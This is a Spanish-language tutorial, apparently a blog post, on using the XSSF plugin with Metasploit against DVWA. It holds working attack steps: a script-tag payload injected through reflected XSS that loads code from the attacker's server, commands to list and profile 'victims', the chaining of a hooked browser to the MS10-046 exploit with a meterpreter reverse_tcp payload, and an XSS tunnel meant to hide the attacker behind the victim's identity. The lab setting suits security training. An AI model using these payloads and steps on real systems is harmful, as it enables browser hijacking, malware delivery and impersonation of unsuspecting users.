Xssf Framework permite administrar victimas de ataques XSS genéricos y persiste una conexión con dichas victimas por medio de un “loop” en javascript, el cual se encarga de enviar peticiones reversas en intervalos definidos de tiempo con el fin de ejecutar exploits contra la victima.

Para usar xssf en metasploit es necesario localizar una aplicación vulnerable a ataques XSS, para probar y mejorar habilidades en el campo de la seguridad en aplicaciones web, existe un proyecto llamado DVWA (Damn Vulnerable Web Application), se trata de una aplicación escrita en PHP y MySQL que tiene habilitadas una serie de vulnerabilidades que permite a un profesional en seguridad, interactuar con la aplicación y comprender mejor los posibles ataques que pueden llevarse a cabo en aplicaciones web.

Dado que se trata de una aplicación web, es necesario tener instalado un servidor web, como por ejemplo Apache, al igual que una base de datos MySQL, para realizar esta configuración de manera rápida (en el caso que no cuente con el entorno ya configurado) es posible usar el proyecto XAMPP for Linux, se trata un paquete completo con PHP, MySQL, Perl y Apache configurados y listos para ser usados, para ver como se debe configurar e instalar DVWA ver el post anterior aquí:

Usando XSSF con Metasploit

XSSF es utilizado en Metasploit como un plugin adicional que se carga en el momento en el que se decida hacer uso de el, al igual que otras extensiones, se emplea el comando load para cargarlo en el contexto de metasploit, sin embargo antes de cargarlo, se debe tener en cuenta que las primeras instrucciones que se llevaran a cabo por el plugin, son la conexión con una base de datos para almacenar los resultados de las pruebas de penetración ejecutadas, si desde la consola de metasploit no existe ninguna conexión a base de datos activa, el plugin de xssf intentara crear una base de datos con sqlite3, el primer paso es descargar el plugin de XSSF para metasploit desde:http://www.metasploit.com/redmine/attachments/596/XSSF.ziptodo el contenido de este fichero comprimido se extrae en el directorio raíz de metasploit.

msf> db_driver postgresql
[*] Using database driver postgresqlmsf > db_connect user:clave@localhost:5432/database

msf > load xssf

_/ _/ _/_/_/ _/_/_/ _/_/_/_/

_/ _/ _/ _/ _/

_/ _/_/ _/_/ _/_/_/

_/ _/ _/ _/ _/

_/ _/ _/_/_/ _/_/_/ _/ Cross-Site Scripting Framework

Ludovic Courgnaud – CONIX Security

[+] Server started : http://192.168.1.33:8888/

[*] Please, inject ‘http://192.168.1.33:8888/loop’ resource in an XSS

[*] Successfully loaded plugin: XSSF

Una vez cargado el plugin, se iniciará un servidor en la ruta indicada, este puede ser empleado posteriormente en un ataque XSS sobre una aplicación web vulnerable, como por ejemplo desde las opciones XSS de DVWA.

La ruta http://192.168.1.33:8888/loop la establecemos en un navegador web para verificar que su funcionamiento es el esperado.

Una vez se ha inyectado la ruta anterior sobre una aplicación vulnerable, se utiliza el comando xssf_victims para ver las victimas que han verificado el enlace:

msf > xssf_victims
Victims=======id xssf_server_id active ip interval browser_name browser_version cookie

— ————– —— — ——– ———— ————— ——

1 1 192.168.1.33 10 Google Chrome 10.0.648.133 NO

2 1 192.168.1.34 10 Internet Explorer 6.0 NO

Podemos ver información relacionada con alguna de las victimas utilizando el comando xssf_information <ID_VICTIM>

msf > xssf_information 2
INFORMATION ABOUT VICTIM 2============================

IP ADDRESS : 192.168.1.34

ACTIVE : FALSE

FIRST REQUEST : Sun Mar 27 20:34:51 UTC 2011

LAST REQUEST : Sun Mar 27 20:34:51 UTC 2011

CONNECTION TIME : 0.0 seconds

BROWSER NAME : Internet Explorer

BROWSER VERSION : 6.0

OS NAME : Windows

OS VERSION : XP

ARCHITECTURE : ARCH_X86

LOCATION : Unknown

COOKIES ? : NO

RUNNING ATTACK : NONE

Posteriormente, podemos ejecutar alguno de los auxiliaries ubicados en auxiliary/xssf para ejecutar diferentes operaciones sobre las victimas, por ejemplo:

  1. Se seleccionar la opción XSS reflected y sobre el campo de texto ingresamos el siguiente contenido:

    ><script src=»http://192.168.1.33:8888/loop?interval=5«></script>

    Posteriormente presionamos sobre submit

  2. desde la consola metasploit usamos el auxiliary: auxiliary/xssf/alert e ingresamos un mensaje de texto que se ejecutará como un alert en la aplicación objetivo

    msf auxiliary(alert) > run
    [*] Auxiliary module execution started, press [CTRL + C] to stop it !
    [*] Using URL: http://0.0.0.0:8080/PUybMRwJ
    [*] Local IP: http://192.168.1.33:8080/PUybMRwJ%5B+%5D Remaining victims to attack : [5 (1)][+] Code ‘auxiliary/xssf/alert’ sent to victim ‘5’

    [+] Remaining victims to attack : NONE

    ^C[-] Auxiliary interrupted by the console user

    [*] Server stopped.

    [*] Auxiliary module execution complete

  3. En la aplicación vulnerable se lanzará un mensaje de javascript con el texto indicado en la opción AlertMessage del auxiliary

    El uso de los auxiliaries para XSSF es bastante similares en todos los casos, el único requisito fundamental para que su funcionamiento sea el esperado, es precisamente, que exista un una víctima XSS activa o con una cookie incrustada en el navegador, en este orden de ideas, puede usarse el auxiliary correspondiente a la inserción de una cookie en el navegador con el auxiliary: auxiliary/xssf/cookie

    Ahora es posible usar una de las victimas disponibles y el job relacionado con algún exploit en ejecución, de esta forma se vincula la victima activa de un ataque XSS y un exploit que puede aprovechar dicha vulnerabilidad, para esto existe el comando xss_exploit <ID_VICTIMA> <ID_JOB> donde id_victima corresponde con el identificador de la victima y el id_job al identificador del exploit en ejecución (por ejemplo windows/browser/ms10_046_shortcut_icon_dllloader)

msf> windows/browser/ms10_046_shortcut_icon_dllloadermsf> set PAYLOAD windows/meterpreter/reverse_tcp

msf> set LHOST XX.XX.XX.XX

msf> exploit

msf> xssf_exploit 5 2

Donde 5 corresponde al identificador de la victima, (consultado con el comando xssf_victims) y 2 corresponde al identificador del job asociado al exploit: windows/browser/ms10_046_shortcut_icon_dllloader

XSS TUNNEL ENTRE MAQUINAS

Con XSS podemos crear un túnel que nos permitirá conectarnos a nuestra víctima desde un navegador web, la idea básica, esta en crear un túnel que sirva de proxy para establecer la comunicación entre la aplicación con la vulnerabilidad XSS explotada y el atacante pasando por medio de la victima, de esta forma es posible ejecutar algún tipo de ataque adicional sin revelar la identidad del atacante y utilizando la identidad de la victima.

Siguiendo las instrucciones de los puntos anteriores, obtenemos una victima activa por medio del uso de una vulnerabilidad XSS en una aplicación web, una vez hecho esto, se ejecuta el comando xss_tunnel para generar un túnel entre Metasploit, la aplicación vulnerable y un cliente que haga uso de dicho puente, habitualmente un navegador web con las opciones del proxy configuradas apuntando hacia metasploit.

msf auxiliary(alert) > xssf_active_victims
Victims=======

id xssf_server_id active ip interval browser_name browser_version cookie

— ————– —— — ——– ———— ————— ——

5 1 true 192.168.1.33 600 Google Chrome 10.0.648.133 YES

msf auxiliary(alert) > xssf_tunnel 5

[*] Creating new tunnel with victim ‘5’ …

[*] You can now add XSSF Server as your browser proxy and visit domain of victim ‘5’ ! 😉

Desde las preferencias del navegador se debe establecer el proxy, que sera la dirección IP de metasploit donde se estará ejecutando XSSF, ahora solamente será valido navegar por el mismo dominio de la victima, cualquier otra dirección que se introduzca en el navegador, resultara en un error donde se indicara que no se puede abrir la pagina solicitada, dado que no se encuentra en el dominio de la victima.

Referencias Utiles sobre XSS:

http://ha.ckers.org/xss.html

http://en.wikipedia.org/wiki/Cross-site_scripting

http://www.cgisecurity.com/xss-faq.html